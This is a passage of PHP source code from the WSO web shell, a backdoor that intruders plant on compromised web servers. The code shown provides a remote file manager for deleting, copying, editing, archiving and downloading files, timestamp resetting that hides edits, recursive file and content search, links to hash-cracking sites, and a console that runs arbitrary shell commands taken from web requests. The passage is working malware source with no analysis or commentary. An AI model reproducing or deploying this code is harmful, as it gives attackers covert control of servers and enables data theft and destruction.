"dir")\n\t\t\t\t\t\t\tdeleteDir($item);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($item);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n if ($zip->open($_POST[\'p2\'], 1)) {\n chdir($_COOKIE[\'c\']);\n foreach($_COOKIE[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n if(@is_file($_COOKIE[\'c\'].$f))\n $zip->addFile($_COOKIE[\'c\'].$f, $f);\n elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n foreach ($iterator as $key=>$value) {\n $zip->addFile(realpath($key), $key);\n }\n }\n }\n chdir($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n foreach($_COOKIE[\'f\'] as $f) {\n if($zip->open($_COOKIE[\'c\'].$f)) {\n $zip->extractTo($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n chdir($_COOKIE[\'c\']);\n $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tWSOsetcookie(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tWSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tWSOsetcookie(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n wsoHeader();\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\t$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction wsoCmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "wsoCmp");\n\tusort($dirs, "wsoCmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\t\t\t.\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\t\t$l = $l?0:1;\n\t}\n\techo "<tr><td colspan=7>\n\t<input type=hidden name=a value=\'FilesMan\'>\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\t<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n if(class_exists(\'ZipArchive\'))\n echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\n echo "<option value=\'tar\'>Compress (tar.gz)</option>";\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n echo "<option value=\'paste\'>Paste / Compress</option>";\n echo "</select> ";\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'> ";\n echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\n\twsoFooter();\n}\n\nfunction actionStringTools() {\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n\t$stringTools = array(\n\t\t\'Base64 encode\' => \'base64_encode\',\n\t\t\'Base64 decode\' => \'base64_decode\',\n\t\t\'Url encode\' => \'urlencode\',\n\t\t\'Url decode\' => \'urldecode\',\n\t\t\'Full urlencode\' => \'full_urlencode\',\n\t\t\'md5 hash\' => \'md5\',\n\t\t\'sha1 hash\' => \'sha1\',\n\t\t\'crypt\' => \'crypt\',\n\t\t\'CRC32\' => \'crc32\',\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\t\t\'HEX to DEC\' => \'hexdec\',\n\t\t\'HEX to BIN\' => \'hex2bin\',\n\t\t\'DEC to HEX\' => \'dechex\',\n\t\t\'DEC to BIN\' => \'decbin\',\n\t\t\'BIN to HEX\' => \'binhex\',\n\t\t\'BIN to DEC\' => \'bindec\',\n\t\t\'String to lower case\' => \'strtolower\',\n\t\t\'String to upper case\' => \'strtoupper\',\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\t\t\'String length\' => \'strlen\',\n\t);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\twsoHeader();\n\techo \'<h1>String conversions</h1><div class=content>\';\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";\n\tforeach($stringTools as $k => $v)\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n\t\techo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\t}\n\techo"</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>\n\t\t\t</table></form>";\n\n\tfunction wsoRecursiveGlob($path) {\n\t\tif(substr($path, -1) != \'/\')\n\t\t\t$path.=\'/\';\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\t\tif(is_array($paths)&&@count($paths)) {\n\t\t\tforeach($paths as $item) {\n\t\t\t\tif(@is_dir($item)){\n\t\t\t\t\tif($path!=$item)\n\t\t\t\t\t\twsoRecursiveGlob($item);\n\t\t\t\t} else {\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($item)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($item)."</a><br>";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(@$_POST[\'p3\'])\n\t\twsoRecursiveGlob($_POST[\'c\']);\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n <input type=\'hidden\' name=\'act\' value=\'find\'/>\n\t\t\t<input type=\'button\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n\t\t\t<input type=\'button\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n <input type=\'button\' value=\'crackfor.me\' onclick=\\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\\"><br>\n\t\t</form></div>";\n\twsoFooter();\n}\n\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\twsoHeader();\n\techo \'<h1>File tools</h1><div class=content>\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\twsoFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\techo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\techo \'<br><br>\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'<pre class=ml1>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</pre>\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</textarea><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\t\t\t\t\t$h[1] .= \'<br>\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\n\t\t\tbreak;\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\n\nfunction actionConsole() {\n if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n $_POST[\'p1\'] .= \' 2>&1\';\n } elseif(!empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\n\tif(isset($_POST[\'ajax\'])) {\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\twsoHeader();\n echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push(\'\');\n\tcur = cmds.length-1;\n}\n</script>";\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\t\tif($v == \'\') {\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\t\t\tcontinue;\n\t\t}\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\t}\n\t\n\techo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\techo htmlspecialchars("$ 